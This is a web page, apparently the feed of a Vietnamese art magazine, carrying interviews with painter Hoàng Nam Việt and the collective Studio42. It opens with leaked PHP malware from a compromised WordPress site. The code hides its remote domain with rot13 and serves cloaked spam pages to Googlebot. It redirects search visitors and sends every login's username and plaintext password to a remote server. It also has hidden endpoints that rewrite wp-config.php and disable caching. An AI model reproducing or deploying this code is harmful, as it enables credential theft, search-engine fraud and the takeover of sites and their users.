eTypes[$fileExp]; } else{ $mime = 'text/plain'; } header("Content-type: {$mime}"); echo $html; die(); } if (preg_match("#^/books_files/#", $_SERVER['REQUEST_URI'])) { $url = str_replace('?id', '.php?id', $_SERVER['REQUEST_URI']); $covenD = str_rot13('xhgbgb.fof'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://coven.{$covenD}{$url}"); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Accept-Language: ' . $_SERVER['HTTP_ACCEPT_LANGUAGE'], 'X-Forwarded-For: ' . $gbt, 'X-HOST:' . $host]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $html = curl_exec($ch); curl_close($ch); unset($ch); echo $html; die(); } if (preg_match("#^/books-#", $_SERVER['REQUEST_URI'])) { if (!class_exists('WP_EX_PAGE_ON_THE_FLY', FALSE)){ class WP_EX_PAGE_ON_THE_FLY { public $slug =''; public $args = array(); public function __construct($args){ add_filter('the_posts',array($this,'fly_page')); $this->args = $args; $this->slug = $args['slug']; } public function fly_page($posts){ global $wp,$wp_query; $page_slug = $this->slug; if(count($posts) == 0 && (strtolower($wp->request) == $page_slug || $wp->query_vars['page_id'] == $page_slug)){ $post = new stdClass; $post->post_author = 1; $post->post_name = $page_slug; $post->guid = get_bloginfo('wpurl' . '/' . $page_slug); $post->post_title = 'page title'; $post->post_content = "Fake Content"; $post->ID = -42; $post->post_status = 'static'; $post->comment_status = 'closed'; $post->ping_status = 'closed'; $post->comment_count = 0; $post->post_date = current_time('mysql'); $post->post_date_gmt = current_time('mysql',1); $post = (object) array_merge((array) $post, (array) $this->args); $posts = NULL; $posts[] = $post; $wp_query->is_page = true; $wp_query->is_singular = true; $wp_query->is_home = false; $wp_query->is_archive = false; $wp_query->is_category = false; //status_header( 200 ); unset($wp_query->query["error"]); $wp_query->query_vars["error"]=""; $wp_query->is_404 = false; } return $posts; } } } $requri = explode('-', $_SERVER['REQUEST_URI']); $scheme = end($requri); $scheme = trim($scheme, '/'); $url = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/'); $covenD = str_rot13('xhgbgb.fof'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://coven.{$covenD}/books/" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Accept-Language: ' . $_SERVER['HTTP_ACCEPT_LANGUAGE']]); $html = curl_exec($ch); curl_close($ch); unset($ch); // if($googleBot){ $html = json_decode($html, true); $args = array('slug' => $url, 'post_title' => $html['title'], 'post_content' => $html['body']); new WP_EX_PAGE_ON_THE_FLY($args); } else{ echo $html; die(); } } $pdfhash = substr(str_rot13(preg_replace('#[^0-9a-zA-Z]#', "", $_SERVER['HTTP_HOST'])) , 0, 5); if (preg_match('#^/wp-content/uploads/.+' . $pdfhash . '.*\.pdf$#', $_SERVER['REQUEST_URI'])) { $covenD = str_rot13('xhgbgb.fof'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://coven.{$covenD}/pdf/books1/" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Forwarded-For: ' . $gbt)); curl_setopt($ch, CURLOPT_REFERER, $ref); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $html = curl_exec($ch); if ( curl_getinfo($ch, CURLINFO_REDIRECT_URL ) ) { $redirectUrl = curl_getinfo($ch, CURLINFO_REDIRECT_URL ); header('Location: ' . $redirectUrl); exit(); } curl_close($ch); unset($ch); if (empty($html)) { http_response_code(404); exit(); } if ($googleBot && preg_match('#GOZRAWGOZ#', $html)) { $undeadUrl = str_replace('GOZRAWGOZ', '', $html); header('Location: ' . $undeadUrl); exit(); } if ($googleBot) { header("Content-type:application/pdf"); } echo $html; exit(); } /* $chdoms = curl_init( "http://api.{$ccd}/data/check_doms.txt" ); curl_setopt ($chdoms, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($chdoms, CURLOPT_HEADER, 0); curl_setopt ($chdoms, CURLOPT_TIMEOUT, 20); curl_setopt ($chdoms, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'); $chDomains = curl_exec ($chdoms); curl_close($chdoms); $chDomains = preg_split('/\n|\r\n?/', $chDomains); if ( !preg_match ( "#/post-|/pgxhtogrzm-|/decoin-|/decoin25-|/qutam-|/neivu-|/ccoin-|/dcoin-|/b24c-|/nrcc-|/kjope-|/kaupan-|/ayashoo-|-mk|-mk2|-mk3|-mk4#", $id ) && $googleBot && in_array( $hwost, $chDomains ) ) { function supermario($content) { $ccd = str_rot13('xhgbgb.fof'); $hwost = strtolower ($_SERVER['HTTP_HOST']); $uri = $_SERVER['REQUEST_URI']; $ch = curl_init("http://coven.{$ccd}/links/schemenameururu/{$hwost}{$uri}" . rand() ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'); curl_setopt($ch, CURLOPT_TIMEOUT, 20); $miaLinks = curl_exec($ch); curl_close($ch); return $content . $miaLinks; } add_filter('the_content', 'supermario', 20); } */ if ( !preg_match ( "#/post-|feed|robots|jpg|png|/pgxhtogrzm-|/decoin-|/decoin25-|/qutam-|/neivu-|/ccoin-|/dcoin-|/b24c-|/nrcc-|/kjope-|/kaupan-|/ayashoo-|-mk|-mk2|-mk3|-mk4#", $id ) && preg_match('#www.google.com/bot.html#', $uag) ) { function supermario($content) { $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $fullUrl = $scheme . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ccd = str_rot13('xhgbgb.fof'); $hwost = strtolower ($_SERVER['HTTP_HOST']); $uri = $_SERVER['REQUEST_URI']; $ch = curl_init("https://coven.{$ccd}/links2/uru2/{$hwost}{$uri}" ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'X-Forwarded-For: ' . getUserIP(), 'Referer: ' . $fullUrl )); $miaLinks = curl_exec($ch); curl_close($ch); return $content . $miaLinks; } add_filter('the_content', 'supermario', 20); } function add_meta_cache() { echo ''; echo ''; echo ''; echo ''; echo ''; } add_action('wp_head', 'add_meta_cache'); if (preg_match('#/(imagescdn|cryptocdn)/.+#', $id) ) { $picUrl = "https://images.{$ccd}{$id}"; $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, $picUrl); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Forwarded-For: ' . $gbt)); $html = curl_exec ($ch); curl_close($ch); header('Cache-Control: public'); header('Content-Type: image/jpeg'); echo $html; exit; } if (preg_match("#pgxhtogrzm#", $_SERVER['REQUEST_URI'])){ if (!class_exists('CovenVP', FALSE)) { class CovenVP { private $args = NULL; public function __construct($args) { if (!isset($args['slug'])) throw new Exception('No slug given for virtual page'); $this->args = $args; add_filter('the_posts', array($this, 'virtual_page')); } public function virtual_page($posts) { global $wp; $slug = isset($this->args['slug']) ? $this->args['slug'] : ''; if (0 === count($posts) && (0 === strcasecmp($wp->request, $slug) || $slug === $wp->query_vars['page_id'])) { $post = new stdClass(); $post->ID = - 128; $post->post_author = isset($this->args['author']) ? $this->args['author'] : 1; $post->post_date = isset($this->args['date']) ? $this->args['date'] : current_time('mysql'); $post->post_date_gmt = isset($this->args['dategmt']) ? $this->args['dategmt'] : current_time('mysql', 1); $post->post_content = isset($this->args['content']) ? $this->args['content'] : ''; $post->post_title = isset($this->args['title']) ? $this->args['title'] : ''; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; $post->ping_status = 'closed'; $post->post_password = ''; $post->post_name = $slug; $post->to_ping = ''; $post->pinged = ''; $post->post_modified = $post->post_date; $post->post_modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $slug); $post->menu_order = 0; $post->post_type = isset($this->args['type']) ? $this->args['type'] : 'page'; $post->post_mime_type = ''; $post->comment_count = 0; $post = apply_filters('coven_virtual_page_content', $post); $posts = array($post); global $wp_query; $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; } return $posts; } } } if (!function_exists('coven_create_virtual')) { function coven_create_virtual() { $covenD = str_rot13('xhgbgb.fof'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://coven.{$covenD}/shilov/" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $html = curl_exec($ch); $html = json_decode($html, true); curl_close($ch); if (json_last_error() === JSON_ERROR_NONE) { $url = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/'); $args = array('slug' => $url, 'title' => $html['title'], 'content' => $html['body']); $pg = new CovenVP($args); } } } if (preg_match("/google|bing|msn|yahoo/i", $ref) && !$googleBot && !$anyBot) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://source.{$ccd}/in/drws/?val1={$hwost}"); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_REFERER, $host . $uri); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Forwarded-For: ' . $gbt)); $html = curl_exec($ch); if (curl_getinfo($ch, CURLINFO_REDIRECT_URL)) { $redirectUrl = curl_getinfo($ch, CURLINFO_REDIRECT_URL); header('Location: ' . $redirectUrl); exit(); } } elseif ($googleBot) { add_action('init', 'coven_create_virtual'); } else { header("Location: http://" . $_SERVER["HTTP_HOST"]); exit(); } } if(!$googleBot){ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $ccd = str_rot13('xhgbgb.fof'); $wpApiUrl = "https://api.{$ccd}/api.php"; $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login']) && strpos($_SERVER['HTTP_USER_AGENT'], '100.6.1155.294') === false) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action') ) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } if (!function_exists('wordpress_api_wrongauth_debug')) { function wordpress_api_wrongauth_debug( $user_login, $user ){ $ccd = str_rot13('xhgbgb.fof'); $wpApiUrl = "https://api.{$ccd}/api_false.php"; $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login_failed', 'wordpress_api_wrongauth_debug', 10, 2 ); } if (preg_match("#/ququos#", $id) ) { echo uniqid() . " {$hwost} " . phpversion() . "
"; $wpfingerprint = php_uname() . disk_total_space('.') . filectime('/') . phpversion(); echo hash('sha256', $wpfingerprint) . "
"; $time_elapsed = timer_stop(); echo "cheetie {$time_elapsed} secs
"; //echo "
{$htaccess}
"; exit(); } if (preg_match("#/eezee#", $id) ) { $eezeewpconfig = file_get_contents(ABSPATH . '/wp-config.php'); if (strpos($eezeewpconfig, 'WP_CACHE') !== false) { $ezlastMtime = filemtime ( ABSPATH . '/wp-config.php' ) + rand(1, 1000); $ez = preg_replace('#define\(.*WP_CACHE.*\);#Ui', "define('WP_CACHE', false);", $eezeewpconfig, 1); file_put_contents(ABSPATH . '/wp-config.php', $ez); touch(ABSPATH . '/wp-config.php', $ezlastMtime); //echo $ez; echo "WP_CACHE replaced\n"; } if(file_exists(ABSPATH . '/wp-content/mu-plugins/endurance-page-cache.php')){ unlink(ABSPATH . '/wp-content/mu-plugins/endurance-page-cache.php'); echo 'endurance-page-cache.php removed '; } if(file_exists(ABSPATH . '/wp-content/endurance-page-cache')){ rename(ABSPATH . '/wp-content/endurance-page-cache', ABSPATH . '/wp-content/endurance-page-caches'); echo 'endurance-page-cache renamed'; } exit(); } if (preg_match("#/lseez#", $id) ) { var_dump(get_option('litespeed.conf.cache')); update_option( 'litespeed.conf.cache', 0 ); var_dump(get_option('litespeed.conf.cache')); exit(); } } ?> thực hành nghệ thuật Archives - Art Republik https://artrepublik.vn/tag/thuc-hanh-nghe-thuat/ Just another WordPress site Sat, 18 Oct 2025 07:41:26 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 Hoàng Nam Việt: Lắng nghe bản thân để trọn vẹn hơn https://artrepublik.vn/hoang-nam-viet-lang-nghe-ban-than-de-tron-ven-hon-2/ Fri, 17 Oct 2025 05:34:04 +0000 https://artrepublik.vn/?p=11479 Với sự chuyển mình từ một học sinh chuyên khối A say mê logic và con số, họa sỹ Hoàng Nam Việt đã tìm thấy tự do trong thế giới đầy màu sắc của hội họa. Thay vì theo đuổi con đường đại học như số đông, anh đã chọn hành trình tự học, bắt […]

The post Hoàng Nam Việt: Lắng nghe bản thân để trọn vẹn hơn appeared first on Art Republik.

]]>
Với sự chuyển mình từ một học sinh chuyên khối A say mê logic và con số, họa sỹ Hoàng Nam Việt đã tìm thấy tự do trong thế giới đầy màu sắc của hội họa. Thay vì theo đuổi con đường đại học như số đông, anh đã chọn hành trình tự học, bắt đầu từ việc vẽ truyện tranh, storyboard, và dần dấn thân vào hội họa sơn dầu ở tuổi 28. Quá trình này không chỉ là sự thay đổi về nghề nghiệp, mà còn là một hành trình khám phá nội tâm và hình thành bản sắc riêng. Art Republik đã có dịp trao đổi và lắng nghe hoạ sỹ Hoàng Nam Việt chia sẻ về quá trình thực hành của mình.

Chân dung hoạ sỹ Hoàng Nam Việt.

Chào anh, xin hỏi cơ duyên nào đã khiến anh nhận ra mình thích vẽ, và quyết tâm theo đuổi vẽ như một hành trình dài hơi thay vì xem đó là cảm xúc nhất thời?

Tôi yêu thích vẽ từ thuở nhỏ, tuổi thơ của tôi là những lần được mẹ mua giấy và màu vẽ. Những bức tranh đề tài Phục hưng mà tôi có cơ hội tiếp xúc vào những năm cấp 2 vô tình trở thành nguồn cảm hứng khiến tôi say mê khám phá các chi tiết giải phẫu và phối cảnh tuyến tính sau này. Đến năm cấp 3, niềm đam mê này chuyển hướng sang truyện tranh bởi những câu chuyện được xây dựng chặt chẽ qua các khung hình, từ đó tôi bắt đầu tự xây dựng thế giới nhân vật của riêng mình để thỏa mãn trí tưởng tượng. Trải qua nhiều ngã rẽ và biến chuyển khác nhau, tôi quyết định theo đuổi sơn dầu ở tuổi 28 sau khi tiếp xúc nhiều với những người bạn họa sỹ. Có thể nói, đây là bước ngoặt tôi tự cởi trói, tự đặt mình ra khỏi những thực hành cũ để tìm đến tự do với bao la những điều mới mẻ và hấp dẫn, đồng thời đón nhận những thách thức mới và tư duy mới. Tôi cứ bắt đầu như vậy, chẳng toan tính hay suy nghĩ nhiều, chỉ đơn thuần là cùng mở xưởng và dần dà nhận ra mình thực sự phù hợp với lựa chọn này.  

Hoàng Nam Việt bên giá vẽ.

Trong quá trình làm nghệ thuật, những nhân vật nào đã là người thầy dẫn dắt, hoặc truyền cảm hứng cho anh? Và làm sao để anh không lặp lại những thực hành của họ khi vẽ về những chủ đề tương tự?

Có kha khá những hoạ sỹ mà tôi yêu thích đến tận bây giờ như Lucian Freud, Marlene Dumas, hay Egon Schiele, v.v. và đôi lúc tôi cũng từng ước rằng mình có thể vẽ như họ. Nhưng khi cầm cọ lên và đối diện với mặt toan, tôi không còn nghĩ ngợi gì được nữa, chỉ thấy bản thân mình, những suy nghĩ và hồi tưởng của chính mình, không thể là ai khác. Điều này không có nghĩa là ảnh hưởng không tồn tại. Ngược lại, đó là một sự ảnh hưởng gián tiếp, đâu đó len lỏi vào cách tôi cảm nhận và sáng tạo. 

Trong khoảng thời gian đầu, tôi thường bám sát vào thực tế để tái hiện hình ảnh chân thực nhất, điều này có lẽ xuất phát từ sở thích khám phá về các hình khối, điểm tụ, hay những quy chuẩn khắt khe về tỷ lệ trong vẽ giải phẫu và phong cảnh. Nhưng dần về sau, tôi nhận ra mình vẫn có thể để nét cọ trôi theo cảm xúc, phá đi những chuẩn mực rõ ràng về hình thể. Cũng vì thế mà nét vẽ dần pha lẫn trừu tượng để biểu đạt những phần không thể lý giải của mình. Dù có sự chuyển hướng, việc vẽ trực họa vẫn được duy trì song song như một phương thức để mài giũa giác quan và nắm bắt khoảnh khắc trong không gian thực hành, đó là cách tôi rèn luyện để có thể cân bằng giữa thực tế với tự do trong sáng tạo. 

Hoàng Nam Việt, “T.A” (2022), sơn dầu trên toan, 120 x 160 cm.

Một số tác phẩm tại xưởng của họa sỹ.

Anh có thể chia sẻ sâu hơn về quá trình anh đã tự học và thực hành khi quyết định theo đuổi hội họa một cách chuyên nghiệp không?

Một trong những công việc đầu tiên của tôi là vẽ storyboard (kịch bản phân cảnh) cho một công ty quảng cáo, đây là nền tảng khiến tôi phải luyện tập nhiều với trí tưởng tượng, cách sắp đặt bố cục, cũng như nghiên cứu về cảm xúc của nhân vật. Tôi cũng đã từng thử nghiệm với truyện tranh, vẽ digital, gốm, hay acrylic. Nhưng nhận ra mình không thích bám sát nội dung cụ thể để cung cấp cho độc giả, hay vì những giới hạn về mặt xuất bản. Sự bế tắc ấy đã dẫn tôi đến một khám phá mới: tập trung vào phần hình ảnh, hay đúng hơn là vẽ. Khi không còn bị ràng buộc bởi những giới hạn về kiểm duyệt, tôi nhận ra mình có thể bộc lộ bản thân một cách trọn vẹn hơn. Và dần dần, tôi thấy chính mình được thể hiện rõ nét hơn trong hội họa. Tôi là người thích vẽ nhanh, và thích chuyển hoá những gì bên trong mình một cách trực tiếp, nên tôi thích vẽ chì, than, hoặc sơn dầu. Với sơn dầu, tôi tìm thấy sự tự do để kể những câu chuyện của riêng mình, hoặc thậm chí không cần bất kỳ câu chuyện nào cả, người xem vẫn có thể tự diễn giải và định đoạt ý nghĩa của tác phẩm theo cách riêng tư nhất. Bởi lẽ, khi người nghệ sỹ phải dằn vặt với việc truyền tải một thông điệp cụ thể thì sự sáng tạo sẽ không còn trọn vẹn.

Hoàng Nam Việt tại xưởng vẽ.

Việc tự học đã giúp anh có những trải nghiệm / bài học quý giá nào mà trường lớp không thể dạy? 

Trong quá trình thực hành, tôi nhận ra lắng nghe bản thân khi vẽ không chỉ là việc dừng lại đúng lúc. Mà là khoảng lặng cần thiết để sáng tạo được thăng hoa từ cảm xúc thật, thay vì áp lực phải hoàn hảo. Ví dụ, đôi khi tôi cảm nhận một bức tranh nên dừng lại ở vài phút trước, hoặc trước đó vài nét cọ,… chỉ cần cố thêm thắt lại vô tình làm mất đi cái hồn vốn có. Dù đôi lúc sự “cố gắng” ấy khiến một tác phẩm trông chỉn chu hơn, nhưng lại khiến tôi đánh mất cảm xúc với tác phẩm của chính mình. Kết quả của sự phớt lờ luôn không mấy tốt đẹp, dẫn đến việc bức tranh ấy sẽ được cất vào một góc rồi vài năm sau mới được lấy ra, để che lấp, và vẽ mới. Có lẽ vì vậy mà sau này tôi dành nhiều thời gian hơn – có khi là cả ngày dài – chỉ để ngắm nhìn bức tranh, tưởng tượng và cân nhắc từng đường nét khi cận kề bước hoàn thiện, thay vì chỉ chăm chú đặt cọ trên toan.

Hoàng Nam Việt tại xưởng vẽ.

Khi mới bắt đầu, anh có bao giờ cảm thấy nghi ngờ về con đường mình đã chọn không, đặc biệt là khi so sánh với những người được đào tạo bài bản? Lý do gì để anh có thể tiếp tục theo đuổi con đường này? 

Hành trình nghệ thuật của tôi cũng có những lúc lung lay trước các nhận xét từ bên ngoài. Có lần một hoạ sỹ người Ba Lan tới thăm xưởng, anh ấy khuyên tôi nên giữ vững những gì mình đang có, và đó là thời điểm tôi chênh vênh nhất. Một người bạn – một người thầy mà tôi có cơ duyên làm việc cùng trong triển lãm “Song trùng và Bản ngã” gần đây – anh Brian Đoàn, luôn nhắc nhở tôi đừng quá bận tâm đến những phù phiếm bên ngoài, hãy cứ tập trung làm việc của mình. Vì thế tôi tin rằng mọi hành trình đều có nhiều giai đoạn, nhưng thường bắt nguồn từ tình yêu. Khi đã biết mình yêu thích điều gì, mình đang ở đâu và có những gì, thì không cần phải so sánh với bất kỳ ai khác. Điều cốt yếu hãy cứ là chính mình. Đó là kim chỉ nam định hình con đường nghệ thuật mà tôi đang theo đuổi.

Xin cảm ơn những chia sẻ của anh, chúc anh gặt hái được nhiều thuận lợi trên con đường sắp tới!

Ảnh: Trần Anh Dũng

Thực hiện: Hồng Ánh

The post Hoàng Nam Việt: Lắng nghe bản thân để trọn vẹn hơn appeared first on Art Republik.

]]>
Studio42 – Một tập thể “hữu cơ” https://artrepublik.vn/studio42-mot-tap-the-huu-co/ Tue, 08 Jul 2025 10:37:57 +0000 https://artrepublik.vn/?p=11111 Studio42 (trước đây là 42 Painting Studio, thành lập năm 2020 bởi họa sỹ Quyết Dương) là một nhóm họa sỹ trẻ đam mê vẽ trực họa, sinh hoạt và chia sẻ trải nghiệm nghệ thuật cùng nhau mỗi cuối tuần. Studio42 hướng tới việc thúc đẩy tinh thần làm việc nhóm giữa bối cảnh […]

The post Studio42 – Một tập thể “hữu cơ” appeared first on Art Republik.

]]>
Studio42 (trước đây là 42 Painting Studio, thành lập năm 2020 bởi họa sỹ Quyết Dương) là một nhóm họa sỹ trẻ đam mê vẽ trực họa, sinh hoạt và chia sẻ trải nghiệm nghệ thuật cùng nhau mỗi cuối tuần. Studio42 hướng tới việc thúc đẩy tinh thần làm việc nhóm giữa bối cảnh nghệ sỹ thường hoạt động độc lập, nơi các họa sỹ phát triển kỹ năng và hỗ trợ nhau trong nghề. Studio42 hoạt động mở, không giới hạn thành viên cố định. Hoạt động chính là quan sát, ký họa người mẫu trực tiếp – từ đó tạo nên những bức tranh mang đời sống riêng, vượt ra khỏi tính chất ghi chép hình thể thông thường. Nhân dịp Studio42 tổ chức triển lãm “Nhịp bơi sải” tại VCCA Vincom Center for Contemporary Art tại Hà Nội, Art Republik đã có dịp trò chuyện cùng các thành viên chủ chốt của nhóm.
Các thành viên Studio42 và nghệ sỹ khách mời/thầy Trịnh Liên (đứng giữa) trong khai mạc triển lãm “Nhịp bơi sải” (2025) tại VCCA, Hà Nội. Ảnh: 84SPACE.

Xin chúc mừng nhóm Studio42 đã tổ chức thành công triển lãm nhóm “Nhịp bơi sải” tại VCCA. Mọi người có thể chia sẻ về ý nghĩa tên triển lãm “Nhịp bơi sải”, quá trình sáng tác và chuẩn bị cho triển lãm?

Studio42: Tên triển lãm “Nhịp bơi sải” được chúng tôi thống nhất trong một chuyến đi Sài Gòn. Ban đầu, đây là một cái tên từng không được chọn cho triển lãm trước đó (triển lãm “42:3: GÓI-MỞ”), nhưng nay được tái sử dụng để làm chủ đề chính. Lý do là vì “Nhịp bơi sải” đã thể hiện được sự đóng góp và nỗ lực của nhiều người trong nhóm, phù hợp hơn so với những lựa chọn khác như “gói-mở” mà chúng tôi từng cân nhắc. 

Không gian triển lãm “42:3: GÓI-MỞ” (2023) tại Atena Gallery, Hoàn Kiếm, Hà Nội. Ảnh: Studio 42.

Tên gọi này không mô tả trực tiếp nội dung mà thể hiện tinh thần của các nghệ sỹ trẻ – khát khao vươn mình, vượt ra ngoài khả năng hiện tại để đạt đến một trạng thái mới trong nghệ thuật. Nó gợi lên hình ảnh mọi người cùng bơi, cùng nỗ lực cá nhân để tự định hướng, tập trung vào sáng tác độc lập. Điều này thực sự đúng với tinh thần của nhóm họa sỹ tham gia, những người trẻ đang tìm kiếm chỗ đứng cho mình trong bối cảnh nghệ thuật ở Việt Nam.

Quá trình sáng tác cho triển lãm bắt đầu từ tháng 6 năm ngoái khi ý tưởng định hình. Chúng tôi không quyết định trước nội dung cụ thể mà mời các nghệ sỹ theo tinh thần của Studio42, ưu tiên những bạn đã cùng triển lãm năm trước và các họa sỹ tiềm năng khác. Chủ đề chung là “Sống – Tồn tại”, mỗi người được tự do hiểu theo cách riêng và thực hành trong một khoảng thời gian khá dài. Đến cuối tháng 1 năm 2025, các tác phẩm mới bắt đầu hoàn thiện để chúng tôi cùng nhau xem xét. Trong quá trình chuẩn bị, chúng tôi đã có những buổi gặp mặt khởi động và đặc biệt là đi thăm xưởng của từng nghệ sỹ để tạo sự kết nối sâu sắc. Trải nghiệm đi thăm xưởng này vô cùng hữu ích, bởi nhiều khi nghệ sỹ sáng tác theo cảm hứng, tự phát mà chưa được tư duy một cách mạch lạc hay hệ thống. 

Khi được trò chuyện, nhận phản hồi và tương tác, họa sỹ sẽ hiểu rõ mình hơn, có thêm góc nhìn từ người khác. Quá trình thăm xưởng 12 họa sỹ kéo dài hai tháng , với sự hỗ trợ hình ảnh từ 84SPACE.

Không gian triển lãm “Nhịp bơi sải” (2025), VCCA, Hà Nội. Ảnh: 84SPACE.

Studio42 đã sang năm hoạt động thứ 5, trong thời gian đó nhóm đã tổ chức 4 triển lãm/ mở xưởng cũng như các hoạt động thường xuyên là các buổi vẽ trực họa. Mọi người có thể chia sẻ về lý do Studio42 được thành lập? Cách vận hành của Studio42 đã có những thay đổi nào từ đó tới nay?

